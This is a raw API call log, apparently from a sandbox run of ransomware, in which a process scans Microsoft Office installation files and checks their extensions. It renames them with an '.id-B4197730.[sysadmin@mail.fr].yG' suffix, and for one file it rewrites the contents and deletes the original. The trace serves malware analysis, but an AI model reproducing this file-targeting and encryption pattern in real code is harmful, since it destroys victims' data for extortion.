	[0157.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0157.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.476] lstrlenW (lpString=".doc") returned 4
	[0157.476] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0157.476] lstrlenW (lpString=".docx") returned 5
	[0157.476] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0157.476] lstrlenW (lpString=".pdf") returned 4
	[0157.476] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0157.476] lstrlenW (lpString=".xls") returned 4
	[0157.476] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0157.476] lstrlenW (lpString=".xlsx") returned 5
	[0157.476] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0157.476] lstrlenW (lpString=".ppt") returned 4
	[0157.476] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0157.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.476] lstrlenW (lpString=".zip") returned 4
	[0157.476] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0157.477] lstrlenW (lpString=".rar") returned 4
	[0157.477] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0157.477] lstrlenW (lpString=".bz2") returned 4
	[0157.477] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0157.477] lstrlenW (lpString=".7z") returned 3
	[0157.477] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0157.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.477] lstrlenW (lpString=".dbf") returned 4
	[0157.477] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0157.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.477] lstrlenW (lpString=".1cd") returned 4
	[0157.477] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0157.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.477] lstrlenW (lpString=".jpg") returned 4
	[0157.477] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0157.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.477] lstrlenW (lpString=".doc") returned 4
	[0157.477] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0157.477] lstrlenW (lpString=".docx") returned 5
	[0157.477] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0157.477] lstrlenW (lpString=".pdf") returned 4
	[0157.477] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0157.478] lstrlenW (lpString=".xls") returned 4
	[0157.478] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0157.478] lstrlenW (lpString=".xlsx") returned 5
	[0157.478] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0157.478] lstrlenW (lpString=".ppt") returned 4
	[0157.478] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0157.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.478] lstrlenW (lpString=".zip") returned 4
	[0157.478] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0157.478] lstrlenW (lpString=".rar") returned 4
	[0157.478] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0157.478] lstrlenW (lpString=".bz2") returned 4
	[0157.478] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0157.478] lstrlenW (lpString=".7z") returned 3
	[0157.478] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0157.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.478] lstrlenW (lpString=".dbf") returned 4
	[0157.478] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0157.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.478] lstrlenW (lpString=".1cd") returned 4
	[0157.478] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0157.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0157.478] lstrlenW (lpString=".jpg") returned 4
	[0157.478] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0157.479] lstrcmpiW (lpString1=".msi", lpString2=".yG") returned -1
	[0157.479] lstrlenW (lpString="C2RIntLoc.en-us.16.msi") returned 22
	[0157.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.480] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=45056) returned 1
	[0157.480] CloseHandle (hObject=0x350) returned 1
	[0157.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi")) returned 0x220
	[0157.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.480] lstrlenW (lpString=".doc") returned 4
	[0157.480] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0157.481] lstrlenW (lpString=".docx") returned 5
	[0157.481] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0157.481] lstrlenW (lpString=".pdf") returned 4
	[0157.481] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0157.481] lstrlenW (lpString=".xls") returned 4
	[0157.481] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0157.481] lstrlenW (lpString=".xlsx") returned 5
	[0157.481] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0157.481] lstrlenW (lpString=".ppt") returned 4
	[0157.481] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0157.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.481] lstrlenW (lpString=".zip") returned 4
	[0157.481] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0157.481] lstrlenW (lpString=".rar") returned 4
	[0157.481] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0157.481] lstrlenW (lpString=".bz2") returned 4
	[0157.481] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0157.481] lstrlenW (lpString=".7z") returned 3
	[0157.481] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0157.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.481] lstrlenW (lpString=".dbf") returned 4
	[0157.481] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0157.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.481] lstrlenW (lpString=".1cd") returned 4
	[0157.482] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.482] lstrlenW (lpString=".jpg") returned 4
	[0157.482] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.482] lstrlenW (lpString=".doc") returned 4
	[0157.482] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0157.482] lstrlenW (lpString=".docx") returned 5
	[0157.482] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0157.482] lstrlenW (lpString=".pdf") returned 4
	[0157.482] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0157.482] lstrlenW (lpString=".xls") returned 4
	[0157.482] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0157.482] lstrlenW (lpString=".xlsx") returned 5
	[0157.482] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0157.482] lstrlenW (lpString=".ppt") returned 4
	[0157.482] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0157.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.483] lstrlenW (lpString=".zip") returned 4
	[0157.483] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0157.483] lstrlenW (lpString=".rar") returned 4
	[0157.483] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0157.483] lstrlenW (lpString=".bz2") returned 4
	[0157.483] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0157.483] lstrlenW (lpString=".7z") returned 3
	[0157.483] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.483] lstrlenW (lpString=".dbf") returned 4
	[0157.483] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.483] lstrlenW (lpString=".1cd") returned 4
	[0157.483] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0157.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0157.483] lstrlenW (lpString=".jpg") returned 4
	[0157.483] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0157.483] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0157.483] lstrlenW (lpString="Integrator.exe") returned 14
	[0157.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.484] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=1229936) returned 1
	[0157.484] CloseHandle (hObject=0x350) returned 1
	[0157.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe")) returned 0x220
	[0157.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0157.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0157.485] lstrlenW (lpString=".doc") returned 4
	[0157.485] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0157.485] lstrlenW (lpString=".docx") returned 5
	[0157.485] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0157.485] lstrlenW (lpString=".pdf") returned 4
	[0157.485] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0157.485] lstrlenW (lpString=".xls") returned 4
	[0157.485] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0157.485] lstrlenW (lpString=".xlsx") returned 5
	[0157.485] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0157.485] lstrlenW (lpString=".ppt") returned 4
	[0157.485] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0157.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0157.486] lstrlenW (lpString=".zip") returned 4
	[0157.486] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0157.486] lstrlenW (lpString=".rar") returned 4
	[0157.486] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0157.486] lstrlenW (lpString=".bz2") returned 4
	[0157.486] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0157.486] lstrlenW (lpString=".7z") returned 3
	[0157.486] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0157.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0157.486] lstrlenW (lpString=".dbf") returned 4
	[0157.486] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0157.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.488] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=7217832) returned 1
	[0157.489] CloseHandle (hObject=0x350) returned 1
	[0157.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe")) returned 0x220
	[0157.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0157.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.494] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=25876480) returned 1
	[0157.494] CloseHandle (hObject=0x350) returned 1
	[0157.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp")) returned 0x220
	[0157.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0157.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.496] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=25876480) returned 1
	[0157.496] CloseHandle (hObject=0x350) returned 1
	[0157.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp")) returned 0x220
	[0157.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0157.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0157.497] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=12640256) returned 1
	[0157.497] CloseHandle (hObject=0x350) returned 1
	[0157.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0x220
	[0157.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0157.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0157.821] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=1026422) returned 1
	[0157.821] CloseHandle (hObject=0x4ac) returned 1
	[0157.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 0x220
	[0157.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0158.669] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.669] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0158.869] GetLastError () returned 0x0
	[0158.869] ReadFile (in: hFile=0x4b0, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xfa976, lpOverlapped=0x0) returned 1
	[0158.937] WriteFile (in: hFile=0x55c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xfa980, lpOverlapped=0x0) returned 1
	[0159.260] ReadFile (in: hFile=0x4b0, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0159.261] WriteFile (in: hFile=0x55c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0159.261] SetEndOfFile (hFile=0x55c) returned 1
	[0159.261] CloseHandle (hObject=0x55c) returned 1
	[0159.262] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.262] SetEndOfFile (hFile=0x4b0) returned 1
	[0160.233] CloseHandle (hObject=0x4b0) returned 1
	[0160.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0160.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1
	[0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.067] lstrlenW (lpString=".doc") returned 4
	[0161.067] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0161.067] lstrlenW (lpString=".docx") returned 5
	[0161.067] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0161.067] lstrlenW (lpString=".pdf") returned 4
	[0161.067] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0161.067] lstrlenW (lpString=".xls") returned 4
	[0161.067] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0161.068] lstrlenW (lpString=".xlsx") returned 5
	[0161.068] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0161.068] lstrlenW (lpString=".ppt") returned 4
	[0161.068] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0161.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.068] lstrlenW (lpString=".zip") returned 4
	[0161.068] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0161.068] lstrlenW (lpString=".rar") returned 4
	[0161.068] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0161.068] lstrlenW (lpString=".bz2") returned 4
	[0161.068] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0161.068] lstrlenW (lpString=".7z") returned 3
	[0161.068] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0161.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.068] lstrlenW (lpString=".dbf") returned 4
	[0161.068] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0161.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.068] lstrlenW (lpString=".1cd") returned 4
	[0161.068] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0161.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.068] lstrlenW (lpString=".jpg") returned 4
	[0161.068] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0161.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0161.069] lstrlenW (lpString=".doc") returned 4
	[0161.069] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0161.069] lstrlenW (lpString=".docx") returned 5
	[0161.069] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0161.069] lstrlenW (lpString=".pdf") returned 4
